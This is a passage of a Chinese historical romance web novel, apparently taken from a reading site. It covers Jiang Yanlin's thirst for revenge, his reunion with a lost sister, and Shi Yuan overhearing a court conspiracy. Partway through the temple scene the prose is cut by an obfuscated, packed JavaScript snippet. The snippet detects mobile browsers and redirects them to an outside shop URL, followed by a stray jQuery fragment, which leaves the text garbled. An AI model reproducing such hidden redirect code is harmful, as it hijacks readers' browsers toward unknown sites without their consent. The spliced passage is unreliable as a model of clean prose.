姜砚临立在崖边,衣袍被崖底卷起的风带起,一声一声,仿佛来自地狱的呼声,仿佛下一刻,他便会纵身一跃,消失于这苍茫的风沙之中。
“呵……薛枭……”他一声低笑从他喉间溢出,那笑意森冷刺骨,他眼神轻倪,在这可怖凄厉的崖边,竟透着一股诡异的自得。
他足尖微抬,那两个昏死的士兵如同破碎的玩偶一般滚落山崖,带起一阵碎石滚落和撞击的声音,转瞬间便被呼啸的风声彻底掩盖。
被黑暗彻底掩盖的崖底,似乎并未因这二人,有任何变动。
若是,他也就这般消失在这深渊之中呢?
他的愿愿可会为他担忧?为他伤心?
定然是会的吧!
那双黑眸许会哭的通红一片,粉嫩的唇亦会被咬地一片斑驳,彼时,谁又能去安慰她,为她拭泪,拥她入怀,光明正大地拥有她。
他的一切会在她的生命中逐渐消失。
这些时日,越是探查,越是接近当年的真相,他的理智如同被钝刀凌迟着一般。
父亲于狱中悬梁自尽的身影,那场几乎将天都染红的大火,每一晚,他几乎都能闻到皮肉焦糊的味道,那火几乎将他炙烫得无法呼吸,每一寸皮肤都如烈火焚烧一般,烫得他愈发戾气横生。
他以指腹摩挲着腰间的玉佩,若不是这最后一丝挂念,他比姜时远更想杀了薛枭千百遍。
姜砚临忽的低笑起来,那笑声被风声裹挟着,偏执与疯狂地让人头皮发麻。
他要回去,活着回去!
就是爬,他也要爬回京城。
薛枭的命,他要亲手取,愿愿的泪,他要亲手拭。
他早已是无间地狱中的恶鬼一般,愿愿怕吗?
“主子,吴叔将人带来了。”若影无声无息地靠近姜砚临,看着主子几乎探出悬崖的足尖,他本就几不可查的呼吸放得愈发轻。
姜砚临呼吸微顿,周身翻涌着的破碎与绝望骤然一敛,他缓缓收回脚,转身间,眉宇间已是一片冷寂。
“走!”他低声道,眼眸朝身后数里外轻撇了一眼。
二人沿着悬崖隐身走了一段后,忽的,二人的身影从崖边消失,远远跟在身后的姜时远不可置信地瞪大双眸,疾跑了几步上前。
可眼前只有深不见底的悬崖和数不清的嶙峋怪石,“我喝醉了?”
他抬手狠狠抽了自己一巴掌,嗤笑一声,“你是不是犯傻?晚上一滴酒都没沾,醉个屁!”
他本不该出现在这里,二哥哥不让他插手薛枭之事。
可他在营帐中翻来覆去,越想越不对劲,便趁夜色摸到主账附近。看见二哥哥被架出来,本来还有些担心,正要上前时,便看到二哥哥将人打晕扔下悬崖。
二哥哥绝对有事瞒着他!
姜时远有些发狠地握紧拳头,可是二哥哥不说,他一个字也别想问到。
***
单州城内,一间简陋的屋舍内。
屋内桌椅被掀翻在地,茶盏碎裂,一片狼藉。一个衣着单薄的少女犹如惊弓之鸟一般,缩在角落中,身上被指粗的麻绳捆绑着,口中塞着一团白布,猩红的眸子一瞬不瞬地盯着吴汉等人。
姜砚临踏入屋子时,眉心微微一皱,落到吴汉身上的眼神有些凌厉。
“主子,咱们好说歹说,这姑娘死活都是不信,我实在是没法子,只能将人绑了来,谁料,她就差没将这房顶掀了,”吴汉搓了一把手,他这块头,竟然被一个姑娘弄得毫无招架之力,也着实憋屈,“我怕引人注意,只得将人捆了。”
若影说这姑娘瞧着与主子有三分相似,大概,只有这份狠劲与主子像吧?
姜砚临凉薄的眼眸在触及到少女的面庞时,陡然一震。
那张脸此刻虽占满尘土,脸上倔强而决绝的神情,与母亲在烈火中的神情几乎重叠。
“松绑。”姜砚临的嗓音如被砂石摩过一般,伸手扯下她口中的白布。
“主子,这……”吴汉有些犹豫。
姜砚临并未理会,只是垂眸看着少女,声音平静:“我可以带你离开这里,前提是,你需自己惜命。”
少女冷笑出声,眼中满是讥讽。
姜砚临抬起她的下颚,二人眉眼处是出奇的相似。
这样的美丽,放在一个孤女身上,只会是灾祸。
“我是你的兄长,你臂上三寸有一块红色的圆形印记。”姜砚临淡淡道。
那少女脸上露出一抹自嘲,这样的借口,便要强掳了她?
她漂泊多年,什么样的妖魔鬼怪没有见过,兄长?她连爹爹都有好几个呢!
姜砚临未停顿,从怀中摸出半块玉佩,那玉佩断口凌厉,明显是被利刃所破,“你这玉佩原是一块,我不知你,见过没有。”
少女眼中一震,本就猩红的眼眸,瞬间被泪水盈满,声音有些控制不住的发抖,“见过,七岁那年,乳母将玉佩拿去换了一包干粮,然后把我丢在了路边,再也没有回来。”
姜砚临握着玉佩的手猛然攥紧,玉佩的边缘狠狠滑过他的掌心,鲜血瞬间沿着手掌滑落,将他掌心染红。
这玉佩,是当年父亲立了战功,圣上亲赐,即使是半块,足够买下一座宅院。
“不碍事,如今,我找到你了。”姜砚临放缓神色,“吴汉会先送你回京安置,放心,没有人会再伤害你了。”
“你真的,是我,哥哥?”少女似是不敢置信一般,睁大双眼,看向面前的人。
姜砚临身形一顿,带血的指尖轻触了下腰间的玉佩,唇边若有似无的勾起一抹轻笑。
“唤我兄长便可,你本叫季砚禾,季家的二小姐。”他起身朝门扉走去。
季,砚,禾……
少女咀嚼着这几个字,掩着眉眼,视线顺着他的手落在他腰间那块温润白玉上。
那玉佩被人常年摩挲,在烛火的映照下,泛着柔润的光。
***
京中,慈云寺
慈云寺的日子虽然平静,却也不难熬,寺后的山林中草木茂盛,泉水叮咚。
时愿最爱在林中漫步,有一处悬崖处,地势险要,人迹罕至。时愿无意间发现了一条隐蔽的小路,沿着那小路走,不过几个弯,便能上到那处山崖,将整个京城都包揽于眼下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183142|196981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她靠着陡峭的山崖,轻喘着,这小路虽然走势平坦却极长,极其狭窄,若不是她身量小,也无法顺利通过。
她抬头看了一眼前方怪石,钻过前面这块挡路的怪石,便是那处悬崖,她正要抬步,忽的听到一阵低语。
“太子此行,莫不是发现了什么?”说话之人许是有些紧张,声音有些尖细,“姜家那二公子在刑部可是赫赫有名!经他手的,便没有查不到的案子。他此次,突然请辞前往前线,着实让人生疑。”
太子?
说的是太子此次出征之事?
二哥哥?怎会与二哥哥有关?
时愿死死咬住下唇,屏息将自己紧贴于崖壁之上。
“王大人慌什么,有将军镇守边关,薛家便不会倒。”那人冷哼出声,嗓音如利刃一般尖锐,“即便查到有能如何,当年季将军如何死的?你忘记了?”
“……”那人压低了声音,时愿未能听清,只隐约听到“姜纪永”三字。
父亲?
时愿双眸骤然缩紧,心下忽的一阵惊慌。
当年发生了什么事?怎会与父亲有关?
父亲如今也不过是户部一个正五品的清吏,明明有过几次升迁的机会,父亲都坚定的推辞了。时愿见过父亲独自跪在祠堂中,水米不进,任何人都不得入内,从祠堂中出来时,形容枯槁,娘也从不阻止,只红着眼将人扶出祠堂。
她一直不懂是为什么,难道……
“王大人多滤了。”另一人轻笑一声,语气里带着几份安抚,“薛家与王家,那是鱼帮水,水帮鱼,待三皇子大业得成,公主成了王家人,咱们不就是一家人。”
淑贵妃的公主?永安公主
时愿死死捂住嘴巴,面上不由得有些发烫,那日在林中听见的只言片语让她的脸瞬间红的几乎滴出血来。
她轻轻吐纳,足下的碎石因为受力发出轻微的声响,此刻,轻微的响动也犹如惊雷一般,她死死地贴着崖壁,呼吸都几乎凝滞。
她浑身僵硬,身后冷汗几乎将她的衣衫都打湿。
那二人似是警觉,噤声片刻后,才又有隐隐约约的交谈声传来。
那二人声音压得极低,时愿不敢上前,听的零零碎碎的,实在不知他们在商议什么。
待二人离去的脚步声彻底消失后,她才如脱力一般滑落在地,掌心的帕子几乎被冷汗彻底打湿。
时愿不敢逗留,急急地沿着小路回了寺中的厢房,将房门紧紧地阖上,似乎仍嫌不够,又将厚重的圈椅拉到门后,死死地抵着门。
她缩在床榻上,双眼死死地盯着门,似乎下一刻,便会有人提刀破门而入。
日光西斜,在门上洒出了斑驳的光影,光影逐渐拉长,变得暗淡,直至被黑暗彻底吞没。
父亲?季将军?
祠堂?
二哥哥?
当年到底发生了何事?
她必须要查清楚!
只是,该从何查起?
窗外的竹影在夜色中摇摆着怪异的姿态,时愿紧绷的神经终于不堪重负,随着远处传来的钟鼓声缓缓放松了身躯,歪倒在枕上。